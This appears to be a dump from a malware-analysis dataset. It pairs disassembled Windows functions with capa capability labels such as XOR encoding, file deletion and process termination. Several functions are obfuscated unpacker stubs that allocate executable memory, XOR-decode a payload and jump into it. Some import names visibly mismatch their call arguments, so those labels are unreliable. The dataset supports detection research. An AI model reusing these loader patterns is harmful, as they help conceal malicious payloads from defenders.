joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40596d
pop dword [ebp - 0x48]
mov eax, 0x9c050107
sub eax, 0x9bc4a79a
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x339b0ddb
sub dword [ebp - 0x58], 0xe548c890
mov dword [ebp - 0x54], 0xc75fb048
sub dword [ebp - 0x54], 0x952c6403
mov dword [ebp - 0x50], 0xed6288ec
sub dword [ebp - 0x50], 0xa11644be
mov dword [ebp - 0x4c], 0x1d0e28a2
add dword [ebp - 0x4c], 0xe2f1d75e
lea eax, [ebp - 0x58]
push eax
mov eax, 0x26e369b3
add eax, 0xd95d06ad
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x9a6028c
add dword [ebp - 0x58], 0x6acc66ca
mov dword [ebp - 0x54], 0x9e6f883d
sub dword [ebp - 0x54], 0x5d0326c8
mov dword [ebp - 0x50], 0xa0f6ea33
add dword [ebp - 0x50], 0xc2788239
mov dword [ebp - 0x4c], 0xfaa943a0
add dword [ebp - 0x4c], 0x556bc60
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xa810f17b
sub eax, 0xa7d0807b
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3b253
push 0
call eax
mov ecx, 0x59b7
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x48]
mov edi, 0x1040102b
sub edi, 0xab7c2402
sub dword [ebp - 0x44], ebx
mov esi, dword [ebx]
xor dword [ebp - 0x24], ebx
add esi, edi
sub dword [ebp - 0x44], ebx
mov dword [edx], esi
xor dword [ebp - 0x44], esi
add edx, 0x3e662773
add edx, 0xc199d891
add ebx, 0x678709f0
add ebx, 0x9878f614
loop 0x405a85
add eax, 0xc13068f8
sub eax, 0xc12f0f49
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4566c74d
add ecx, 0xbad938b3
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x1001c6a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c73b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c6f2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c6f2
cmp esi, ebx
jge 0x1001c6f2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c735
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c735
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c74d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x1001c970
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001c998
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001c9b2
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10021e2d
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022650
leave
ret 4

Function at 0x1001cb80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001cbb6
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cc15
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10021e2d
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10021e2d
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10021e2d
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022650
leave
ret 0x10
Function at 0x1001cc30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cc5c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cc8d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cc8b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10021e2d
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cc8d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022650
leave
ret 8

Function at 0x10021e2d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10021e3c
pop dword [ebp - 0x3c]
mov eax, 0x4b5c7240
add eax, 0xc4a5abfc
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xb830c52d
add dword [ebp - 0x4c], 0x9621801e
mov dword [ebp - 0x48], 0xe9339c20
add dword [ebp - 0x48], 0x48ffb025
mov dword [ebp - 0x44], 0x1fab594
sub dword [ebp - 0x44], 0xb5ae7166
mov dword [ebp - 0x40], 0x2953d840
sub dword [ebp - 0x40], 0x2953d840
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xaa087be8
sub dword [ebp - 0x4c], 0x35961292
mov dword [ebp - 0x48], 0x235fc4ed
add dword [ebp - 0x48], 0x1e0c9c88
mov dword [ebp - 0x44], 0xc2a9a959
sub dword [ebp - 0x44], 0x5f3a3ced
mov dword [ebp - 0x40], 0xae003ade
sub dword [ebp - 0x40], 0xae003ade
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x69a49d45
add eax, 0xa65db337
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b329
push 0
call eax
mov ecx, 0x4713
xor ebx, ebx
add ebx, eax
mov esi, 0xb25078a5
add esi, 0x5db2935b
add esi, dword [ebp - 0x3c]
mov edi, 0x55513088
add edi, 0xa4c681e6
mov edx, dword [esi]
add dword [ebp - 0x34], 0xf67c8295
xor edx, edi
add dword [ebp - 0x14], ebx
mov dword [ebx], edx
xor dword [ebp - 0x1c], 0x6e95a3
add ebx, 0xe4c2bf75
sub ebx, 0xe4c2bf71
add esi, 0x2b36cbc6
sub esi, 0x2b36cbc2
loop 0x10021f55
add eax, 0xcf25ff0a
add eax, 0x30db1015
mov ebx, eax
add eax, 0xa4d4f562
sub eax, 0xa4d4f55d
mov ecx, 0x1a0416c2
sub ecx, 0xa0416c2
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x4a68110e
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ntdll.dll_NtSetInformationProcess]
push edi
push 4
lea eax, [ebp - 4]
push eax
push 5
push 0xffffffffffffffff
mov dword [ebp - 4], 0xd
call esi
xor edi, edi
push edi
push edi
push 0x10
push 0xffffffffffffffff
call esi
test eax, eax
jge 0x4a681152
lea eax, [ebp - 8]
push eax
push 1
push edi
push edi
push edi
push 0xc0000137
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.CSRSRV.dll_CsrServerInitialization
mov esi, eax
cmp esi, edi
jge 0x4a68116c
push esi
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtTerminateProcess]
call fcn.4a6810ed
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
cmp dword [eax + 0x1d4], edi
jne 0x4a68118f
push edi
push edi
push 1
call dword [sym.imp.ntdll.dll_RtlSetProcessIsCritical]
add esp, 0xc
push esi
push 0xfffffffffffffffe
call dword [sym.imp.ntdll.dll_NtTerminateThread]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x4a6811a3
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
call fcn.4a681223
pop ebp
jmp fcn.4a681705
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x402c00
pop dword [ebp - 0x44]
mov eax, 0x402c00
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xde03e56d
sub dword [ebp - 0x54], 0x8fb1a022
mov dword [ebp - 0x50], 0xdf86bd8f
add dword [ebp - 0x50], 0x52ac8eb6
mov dword [ebp - 0x4c], 0x9e077e8
add dword [ebp - 0x4c], 0x426bcc46
mov dword [ebp - 0x48], 0x297fd599
add dword [ebp - 0x48], 0xd6802a67
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xe6c7f032
sub dword [ebp - 0x54], 0x725586dc
mov dword [ebp - 0x50], 0xd5a6e8c4
add dword [ebp - 0x50], 0x6bc578b1
mov dword [ebp - 0x4c], 0x70703411
add dword [ebp - 0x4c], 0xf2ff385b
mov dword [ebp - 0x48], 0x3fa897a8
add dword [ebp - 0x48], 0xc0576858
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x1168521e
sub eax, 0x1127e176
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x38cb2
push 0
call eax
mov ecx, 0x1d763c6b
add ecx, 0xe28a1400
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x44]
mov edi, 0x71aaf6a
add edi, 0xf1030464
xor dword [ebp - 0x38], 0xa00974d0
mov esi, dword [ebx]
add dword [ebp - 0x14], ebx
xor esi, edi
add dword [ebp - 0x14], 0xa6b2eb36
mov dword [edx], esi
add dword [ebp - 0x34], edx
add edx, 0x8f3fb007
add edx, 0x70c04ffd
add ebx, 0xcc02ebcc
add ebx, 0x33fd1438
loop 0x402d14
add eax, 0xd72551ad
sub eax, 0xd7241d2e
xor ebx, ebx
add ebx, eax
add eax, 0x261cc2a9
sub eax, 0x261cc2a4
mov ecx, 0x312c35f7
add ecx, 0xcf13ca09
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401637
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x402750
call fcn.00401c80
push 1
call fcn.00401377
pop ecx
test al, al
je 0x401793
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00401345
mov byte [ebp - 0x24], al
mov eax, dword [0x4030a8]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x401793
test eax, eax
jne 0x4016c1
mov dword [0x4030a8], ecx
push 0x402128
push 0x40211c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x4016a4
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40178d
push 0x402118
push 0x40210c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x4030a8], 2
jmp 0x4016c6
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004014e4
pop ecx
call fcn.00401e03
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4016f7
push esi
call fcn.0040145a
pop ecx
test al, al
je 0x4016f7
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call dword [0x402108]
call esi
call fcn.00401e09
mov esi, eax
cmp dword [esi], edi
je 0x401715
push esi
call fcn.0040145a
pop ecx
test al, al
je 0x401715
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call fcn.00401baa
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00401be0
test al, al
je 0x40179a
test bl, bl
jne 0x401743
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.00401501
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40178d
call fcn.00401cc6
ret
push 7
call fcn.00401a8e
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.00492000
jmp 0x401637
Function at 0x401584
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
cmp esi, 0x100000
jge 0x40159a
mov esi, 0x100000
jmp 0x4015a6
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 1
push 0x2000
push esi
push 0
call sub.KERNEL32.DLL_WaitForSingleObject
mov edi, eax
mov dword [ebx], edi
test edi, edi
je 0x4015e3
mov edx, ebx
mov eax, 0x4a05e8
call fcn.00401438
test al, al
jne 0x4015e3
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
xor eax, eax
mov dword [ebx], eax
pop edi
pop esi
pop ebx
ret

Function at 0x4015e8
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, ecx
mov esi, edx
mov ebp, eax
mov dword [ebx + 4], 0x100000
push 4
push 0x2000
push 0x100000
push ebp
call sub.KERNEL32.DLL_WaitForSingleObject
mov edi, eax
mov dword [ebx], edi
test edi, edi
jne 0x401632
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 4
push 0x2000
push esi
push ebp
call sub.KERNEL32.DLL_WaitForSingleObject
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x40165a
mov edx, ebx
mov eax, 0x4a05e8
call fcn.00401438
test al, al
jne 0x40165a
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
xor eax, eax
mov dword [ebx], eax
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401660
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 8], 0xffffffff
xor edx, edx
mov dword [esp + 0xc], edx
mov ebp, eax
mov eax, dword [esp]
add eax, ebp
mov dword [esp + 0x10], eax
mov ebx, dword [0x4a05e8]
jmp 0x4016e0
mov edi, dword [ebx]
mov esi, dword [ebx + 8]
cmp ebp, esi
ja 0x4016de
mov eax, esi
add eax, dword [ebx + 0xc]
cmp eax, dword [esp + 0x10]
ja 0x4016de
cmp esi, dword [esp + 8]
jae 0x4016ad
mov dword [esp + 8], esi
mov eax, esi
add eax, dword [ebx + 0xc]
cmp eax, dword [esp + 0xc]
jbe 0x4016bc
mov dword [esp + 0xc], eax
push 0x8000
push 0
push esi
call sub.KERNEL32.DLL_WriteFile
test eax, eax
jne 0x4016d7
mov dword [0x4a05c4], 1
mov eax, ebx
call fcn.00401468
mov ebx, edi
cmp ebx, 0x4a05e8
jne 0x40168f
mov eax, dword [esp + 4]
xor edx, edx
mov dword [eax], edx
cmp dword [esp + 0xc], 0
je 0x401710
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov dword [eax], edx
mov eax, dword [esp + 0xc]
sub eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov dword [edx + 4], eax
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4017ac
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, eax
mov esi, ebx
add esi, 0xfff
and esi, 0xfffff000
mov dword [esp], esi
mov ebp, ebx
add ebp, edx
and ebp, 0xfffff000
mov eax, dword [esp]
mov dword [ecx], eax
mov eax, ebp
sub eax, dword [esp]
mov dword [ecx + 4], eax
mov esi, dword [0x4a05e8]
jmp 0x40181b
mov ebx, dword [esi + 8]
mov edi, dword [esi + 0xc]
add edi, ebx
cmp ebx, dword [esp]
jae 0x4017f3
mov ebx, dword [esp]
cmp ebp, edi
jae 0x4017f9
mov edi, ebp
cmp edi, ebx
jbe 0x401819
push 0x4000
sub edi, ebx
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
test eax, eax
jne 0x401819
mov dword [0x4a05c4], 2
mov esi, dword [esi]
cmp esi, 0x4a05e8
jne 0x4017e3
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x402b04
Capabilities:
Read file on windows
Resume thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040486c
test esi, esi
jne 0x402b3a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_ResumeThread
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040495c
jmp 0x402b58
call sub.KERNEL32.DLL_ReadFile
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402a18
mov edi, eax
test esi, esi
je 0x402b58
cmp dword [ebx], 0
je 0x402b58
dec esi
jmp 0x402b41
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403230
Capabilities:
Delete directory

Disassembly:
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
xor edx, edx
mov ebx, eax
mov dx, word [eax + 4]
sub edx, 0xd7b0
je 0x40325c
cmp edx, 3
ja 0x4032f2
call dword [ebx + 0x24]
test eax, eax
je 0x40325c
call fcn.004028b4
mov word [ebx + 4], 0xd7b3
mov dword [ebx + 8], esi
mov dword [ebx + 0x24], 0x403208
mov dword [ebx + 0x1c], 0x402c74
cmp byte [ebx + 0x48], 0
je 0x4032d9
mov eax, 0xc0000000
mov dl, byte [0x49b008]
and edx, 0x70
shr edx, 2
mov edx, dword [edx + 0x49b068]
mov ecx, 2
sub edi, 3
je 0x4032bb
mov ecx, 3
inc edi
je 0x4032bb
mov eax, 0x40000000
inc edi
mov word [ebx + 4], 0xd7b2
je 0x4032bb
mov eax, 0x80000000
mov word [ebx + 4], 0xd7b1
push 0
push 0x80
push ecx
push 0
push edx
push eax
lea eax, [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_GlobalFindAtomA
cmp eax, 0xffffffff
je 0x4032f9
mov dword [ebx], eax
jmp 0x403309
mov dword [ebx + 0x24], 0x402c74
cmp edi, 3
je 0x4032e9
push 0xfffffffffffffff6
jmp 0x4032eb
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GlobalHandle
jmp 0x4032d0
mov eax, 0x66
jmp 0x403304
mov word [ebx + 4], 0xd7b0
call sub.KERNEL32.DLL_RemoveDirectoryA
call fcn.004028b4
pop edi
pop esi
pop ebx
ret

Function at 0x403338
Capabilities:
Delete directory

Disassembly:
mov ecx, eax
movzx eax, word [eax + 4]
sub eax, 0xd7b1
cmp eax, 2
ja 0x403361
push 0
mov eax, dword [ecx + 8]
mul edx
push 0
push eax
push dword [ecx]
call sub.KERNEL32.DLL_LeaveCriticalSection
inc eax
je fcn.004028c4
ret
mov eax, 0x67
jmp fcn.004028b4
Function at 0x40466c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
cmp byte [0x4a0048], 0
je 0x4046cd
cmp word [0x4a021c], 0xd7b2
jne 0x404695
cmp dword [0x4a0224], 0
jbe 0x404695
mov eax, 0x4a0218
call dword [0x4a0234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x49b090
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GlobalHandle
push eax
call sub.KERNEL32.DLL_LoadResource
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4046f4
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GlobalHandle
push eax
call sub.KERNEL32.DLL_LoadResource
pop edx
ret
cmp byte [0x49b030], 0
jne 0x4046e9
push 0
push 0x49b088
push 0x49b090
push 0
call sub.user32.dll_keybd_event
pop edx
ret

Function at 0x405c7c
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
add esp, 0xfffffef8
mov ebx, eax
cmp dword [ebx + 0x10], 0
jne 0x405cb7
push 0x105
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_ResumeThread
mov eax, esp
mov dl, 1
call fcn.00405eb8
mov esi, eax
mov dword [ebx + 0x10], esi
test esi, esi
jne 0x405cb7
mov eax, dword [ebx + 4]
mov dword [ebx + 0x10], eax
mov eax, dword [ebx + 0x10]
add esp, 0x108
pop esi
pop ebx
ret
Function at 0x405d00
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push 0x405e94
call sub.KERNEL32.DLL_SetEndOfFile
mov esi, eax
test esi, esi
je 0x405d68
push 0x405ea4
push esi
call sub.KERNEL32.DLL_SetErrorMode
mov ebx, eax
test ebx, ebx
je 0x405d68
push 0x105
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call ebx
test eax, eax
je 0x405d68
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetLocalTime
jmp 0x405e8a
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x405da8
mov eax, dword [ebp - 4]
cmp byte [eax + 1], 0x5c
jne 0x405e8a
mov eax, dword [ebp - 4]
add eax, 2
call fcn.00405cec
mov esi, eax
cmp byte [esi], 0
je 0x405e8a
lea eax, [esi + 1]
call fcn.00405cec
mov esi, eax
cmp byte [esi], 0
je 0x405e8a
jmp 0x405dae
mov esi, dword [ebp - 4]
add esi, 2
mov ebx, esi
sub ebx, dword [ebp - 4]
lea eax, [ebx + 1]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_SetLocalTime
jmp 0x405e6d
lea eax, [esi + 1]
call fcn.00405cec
mov edi, eax
mov eax, edi
sub eax, esi
mov edx, eax
add edx, ebx
inc edx
cmp edx, 0x105
jg 0x405e8a
inc eax
push eax
push esi
lea eax, [ebp - 0x24f]
add eax, ebx
push eax
call sub.KERNEL32.DLL_SetLocalTime
lea eax, [ebp - 0x14a]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_OpenProcess
mov esi, eax
cmp esi, 0xffffffff
je 0x405e8a
push esi
call sub.KERNEL32.DLL_OpenMutexA
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_SetThreadContext
lea edx, [ebx + 1]
add eax, edx
inc eax
cmp eax, 0x105
jg 0x405e8a
mov byte [ebp + ebx - 0x24f], 0x5c
mov eax, 0x105
sub eax, ebx
dec eax
push eax
lea eax, [ebp - 0x11e]
push eax
lea eax, [ebp - 0x24f]
add eax, ebx
inc eax
push eax
call sub.KERNEL32.DLL_SetLocalTime
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_SetThreadContext
inc eax
add ebx, eax
mov esi, edi
cmp byte [esi], 0
jne 0x405dcc
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetLocalTime
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret